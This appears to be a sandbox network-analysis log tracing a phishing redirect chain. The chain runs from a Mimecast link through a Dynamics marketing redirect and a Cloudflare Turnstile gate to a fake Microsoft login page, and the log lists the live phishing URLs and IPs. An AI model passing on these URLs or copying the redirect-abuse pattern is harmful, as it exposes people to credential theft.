Source: https://momomomomom.store/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9YzA2ZmQ4MDEtMjdjYy0zMmViLTA4ZWItYWIyMjIzZWZhMzVjJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzMzE4NTMxNTAwMC42M2EzOTllNy00NjgxLTRmMDItYWU5Yy1mZGMyNjViYjIyNzUmc3RhdGU9RGN0QkZvQWdDQUJScmRkeFNBUUJQWTZhYmx0Ml9WajgyVTBNSVp6dWNCRTl3WlNyb0NGenJzSlpFUEZXN3R6YU1paGFNNVNOQkgyMUNmdVpwRElHa1VuMDkwcnYxOU1Q&sso_reload=true	HTTP Parser: No <meta name="copyright".. found
Source: https://momomomomom.store/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9YzA2ZmQ4MDEtMjdjYy0zMmViLTA4ZWItYWIyMjIzZWZhMzVjJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzMzE4NTMxNTAwMC42M2EzOTllNy00NjgxLTRmMDItYWU5Yy1mZGMyNjViYjIyNzUmc3RhdGU9RGN0QkZvQWdDQUJScmRkeFNBUUJQWTZhYmx0Ml9WajgyVTBNSVp6dWNCRTl3WlNyb0NGenJzSlpFUEZXN3R6YU1paGFNNVNOQkgyMUNmdVpwRElHa1VuMDkwcnYxOU1Q&sso_reload=true	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 69.192.108.161:443 -> 192.168.2.7:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 69.192.108.161:443 -> 192.168.2.7:49720 version: TLS 1.2

Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 69.192.108.161
Source: unknown	TCP traffic detected without corresponding DNS query: 69.192.108.161
Source: unknown	TCP traffic detected without corresponding DNS query: 69.192.108.161
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 69.192.108.161
Source: unknown	TCP traffic detected without corresponding DNS query: 69.192.108.161
Source: unknown	TCP traffic detected without corresponding DNS query: 69.192.108.161
Source: unknown	TCP traffic detected without corresponding DNS query: 69.192.108.161
Source: unknown	TCP traffic detected without corresponding DNS query: 69.192.108.161
Source: unknown	TCP traffic detected without corresponding DNS query: 69.192.108.161
Source: unknown	TCP traffic detected without corresponding DNS query: 69.192.108.161
Source: unknown	TCP traffic detected without corresponding DNS query: 69.192.108.161
Source: unknown	TCP traffic detected without corresponding DNS query: 69.192.108.161
Source: unknown	TCP traffic detected without corresponding DNS query: 69.192.108.161
Source: unknown	TCP traffic detected without corresponding DNS query: 69.192.108.161
Source: unknown	TCP traffic detected without corresponding DNS query: 69.192.108.161
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 69.192.108.161
Source: unknown	TCP traffic detected without corresponding DNS query: 69.192.108.161
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /s/rdl8Cn5lg3fXAy8f9CFLb?domain=url2.mailanyone.net HTTP/1.1 Host: url.us.m.mimecastprotect.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /r/fcFRggr_7D48VHm_j6RctLxcw8sPa_TElsPFMjzQm_LCshc9gVJTbgRfVTGuno526DZ05VCsTFwbG4Ajv-sHoGtFagMQ0NHiZWe8J3PikeRm_6zX7liVrGai0VkGk-I2AwLpzD2-3er8vgiklGXM7z5q58pqzvmyHKBQBYn-g0zVdAHC3RRWZ9OaAPpEffxsohlLkdMmotklWxcZtEGZ_hYFOfqSp50FslOwPvoAd6YS5WVToHLoo-Fmi2IFtmcyZ6TZFtN18-8SBdCJgChAROnmxcEqQ3Riv-4UvDfDFfiZsUVJtcVle3a_ezS1BtmNnKZoNC4gle_81P0bmBB4LTmi6peOPq-uSjOliD6M6U9nhpeOQcVAGy_UT9jXkMa8rfoR-xH9w9Gw1WmN6ZszerOhll6pL5QLwP7s2bcHG9U0hqwdLbPRL7v1IIt5ZjNjzy6S2So7v0j7yCkwFh2GAeXktumgaXTjtqnp7ksdBnbUO48ZFwBm64Z05wMvVe-PyZml78SYOLoyP3D-MD4FP_MY6qaQib_sQMflCGO8BeFnUFM4fq1D_TWWiMTiedDv0mYvEABkmKU5kOBxufIgqqqeqDdshkCX8mlcgnnu-Ikd6YJ5PJ5kToV9_4FVkThroztcy6r8q8jU-4apmPhzInEqGvSYhRxvUW9S-6xy-G-NuBbX-bS1jigT0zjutyM3KeP18btWHbj_mElLuuqK8T8B7Ll4UgPakHQ88vk9la9ygWLH4uziPi7xwLQGpzf-vUc0KNwemviUwlT07AsJeZ1kGWBfLuFJCrm-5TLybHiQFyMiyVzayOwxcdZNbsiiWqCV3j8BJlMmvbqqFdKsVXN0c21p2NwnYl_BahhkMhZh8HTJ5eCzt8jb_NVBhXRKaHn5nS_8PXIAovVpcJtbpspKS1O8YkaD9Qf6D0LokgAphe4i0T8EyT6dhdv4rfXKlZUAN4g-wHM8ljgVkCk3uh5Lq_gVFqQ68AHM_8xrXxbhal7MUFNblcroQsoLFbZO0dwXQpnAHv4JoS2dSnstgpxzB7SuP-azrArEoH9i_j8QEoVixYwhCfoFJtppw8aEi50a3L_HBQo6ooAON90-qlz0ca64UfVr1wJiwy9DpdEyWyXNhsW8DrZus31nJnML8el4OBWk1NRx2J5hNDjpA9YePENJO8Ry1ChOuXan05j11LuLFgR5ihqz3bUcZJoMKeKcRLYt3gpsHmW7oPHm1fSGgxdbgOJE3EirnK3WhiJj_jYQG7V8qMhC-eJYBY66PSNsnpudlXPGAA-nijKUAwvRLJ43QcW9Po-azB0wYCri0BKeeZmVuqEPJfXFIbK7BUn4ztJxgXi_x3tzqDcHg7Hs3TzixGwzYHrEeA59eGiizIOu_bcC-NqbGDo7l9nbAReMqYyaHUidmsZdrsgrLGkvXrvFKxlyXRkpLKUm6V4NHUxAEucA4ktbP85aoPHpo92g2F9QfA0N6etXLA96fhfj47EhMTqlqBXLv4LqrqaDUI0GAM8vnqsIFajHSlk3IdP-K6_fu8QjPQaATc-iwWg5EbU8XpiraR2ine82Icoq7xFVX8ukZbV4xhgTd9Lgb32D-AkRyIrSsuctZ1V_KnO3JcKJfsMXH3IJlpYQqZU1gD75sJAU3SCLiWqgEL3l-6yVNbX8pfcAQrKaHpjYfous8Dy98h0-lWUOhsgC3auEG4DGrIvvs0aMTxyXuKUvRYe1OFMN9GCes0B68ItWfIVQWTRn67dE0vY_nWdXrQngUQY54l8VkdApOa7R0p73wxd1w_Ooc51KqsXxlhNIkn4rg5ucglxlq14YFbOrhZdRUmJ7uZrKvbF2Ol2uH1HjRQZGJpISvqtDV66KRv2WZgrd8qTcAECbNzEVvRjJFXOWe92euWxPDzyOAEQq9vAeRrL5PEQeeq2FjTTSt2SUdyLhAJ8jFaBmcrv74VY9XEk1rK5URTuA4WxfVFH2IZVExj17X9cA7Y506YkBH7E8PqXZJZwjr0W0TnfXbPoKPy5_kNztwnYH1zOKY60Vw-pBb1GqdVwvWYlln8Fhz1zkmxADQFNTy2GdTFSYEvWDzUOPPiW_Tx_hcp_AxBuOH1BjSWprIh9tlsPd_iS0AYQuGDIxN7Q4WckHw6ayPi36TrNn5PCaYY9quTM7Voqe7l6P36JFW360Wd9H8FjJ4mJAc7IJaJ-RL42LEpBhEqAq4kMAfq_rRNR7AAtFxxirXXJOPym8RRwRwvJQw9mu3k_pl-umCxNIEB3mVZsjp4Ik6HE90VSwjtIu58IAUwdn_dA4JeKi2ZtahCHKe9fgzrIPHCqBU9txOSkubVmr5Pe_iD7ABb2SYrLlowDzo28j38-LFL4RLI4Syjs6SLgo8fmIIqs5q7URxQ1AZ5sHkp6YCcuzY0Dv0impNmBXxzzwfMwYVjRthr6ZM26frkDo3XAzYp2DTNBLAXDoiy_DanpQ3KfmggdsbYjs_iRAyQC_OHOjuxRxBmUgbLt41vcXhN89-Cq1MUBz5V9AZXpOfxC9nchu2EiQQBuN1NkCLIYGBwRaMCD3jNhJmzvooy6SsgPTFA HTTP/1.1 Host: url.us.m.mimecastprotect.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: na
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /api/orgs/6a41e90b-d409-ef11-9f83-6045bd003e15/r/FvEiDKgZE0-MU3pAD1G4ZQEAAAA?target=%7B%22TargetUrl%22%3A%22https%253A%252F%252Fgreefrunners.co.za%252F%22%2C%22RedirectOptions%22%3A%7B%225%22%3Anull%2C%221%22%3Anull%7D%7D&digest=8tFUOLbq88kJ1qWVPQO24Iw0VllK%2Bt5cof7eRnCG1Bk%3D&secretVersion=a587597bbd2d4ba3bb4334f6d8be15ee HTTP/1.1 Host: public-usa.mkt.dynamics.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://url2.mailanyone.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1 Host: greefrunners.co.za Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://url2.mailanyone.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1 Host: greefrunners.co.za Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://greefrunners.co.za/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?xeuxuwcg&qrcmsdynmkt_trackingcontext=0c22f116-19a8-4f13-8c53-7a400f51b865 HTTP/1.1 Host: hdbfhja.store Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://greefrunners.co.za/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?xeuxuwcg=557878b1416645a740a9119a6f4ae2274233f6c9186bcefac0510f6e30102bc3eae40bcec311e10ba4bf76faa9c8ab9761ac44829bccbe1c2f1f9dbd9ec6e43f&qrcmsdynmkt_trackingcontext=0c22f116-19a8-4f13-8c53-7a400f51b865 HTTP/1.1 Host: hdbfhja.store Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://greefrunners.co.za/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=AxaeKThWurNR; qPdM.sig=CVDwFDjZ4ozcWtzyJC0GeIr7hHc
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js?onload=onloadTurnstileCallback HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://hdbfhja.store/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/ce7818f50e39/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://hdbfhja.store/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/152rs/0x4AAAAAAAZkgmLQjbC4655I/auto/normal HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://hdbfhja.store/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=880344ec3fbf41d8 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/152rs/0x4AAAAAAAZkgmLQjbC4655I/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/152rs/0x4AAAAAAAZkgmLQjbC4655I/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1 Host: hdbfhja.store Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://hdbfhja.store/?xeuxuwcg=557878b1416645a740a9119a6f4ae2274233f6c9186bcefac0510f6e30102bc3eae40bcec311e10ba4bf76faa9c8ab9761ac44829bccbe1c2f1f9dbd9ec6e43f&qrcmsdynmkt_trackingcontext=0c22f116-19a8-4f13-8c53-7a400f51b865 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=AxaeKThWurNR; qPdM.sig=CVDwFDjZ4ozcWtzyJC0GeIr7hHc
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/552112303:1715102812:0WLYJpz4kjQWCDwNrhO3CJZT6Jwalov-zv6_7Jei_L8/880344ec3fbf41d8/8e6ada03ae78a62 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/880344ec3fbf41d8/1715106502152/7FgzsFrfQMeoixt HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/152rs/0x4AAAAAAAZkgmLQjbC4655I/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/880344ec3fbf41d8/1715106502152/7FgzsFrfQMeoixt HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/pat/880344ec3fbf41d8/1715106502159/5478e54719796e628e00f9103b75ee745dd1ac6c513ec21998e22a11acafd7d9/mrcqUDW-rtofgAH HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/152rs/0x4AAAAAAAZkgmLQjbC4655I/auto/normal Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/552112303:1715102812:0WLYJpz4kjQWCDwNrhO3CJZT6Jwalov-zv6_7Jei_L8/880344ec3fbf41d8/8e6ada03ae78a62 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/552112303:1715102812:0WLYJpz4kjQWCDwNrhO3CJZT6Jwalov-zv6_7Jei_L8/880344ec3fbf41d8/8e6ada03ae78a62 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?dataXX0=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1cmwiOiJodHRwczovL21vbW9tb21vbW9tLnN0b3JlIiwiZG9tYWluIjoibW9tb21vbW9tb20uc3RvcmUiLCJrZXkiOiJBeGFlS1RoV3VyTlIiLCJxcmMiOm51bGwsImlhdCI6MTcxNTEwNjUxNiwiZXhwIjoxNzE1MTA2NjM2fQ.ceVGlhXj_iYg_uPWBJTwQGIVTbysS8xc5bwc6ts3pNk HTTP/1.1 Host: momomomomom.store Connection: keep-alive Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 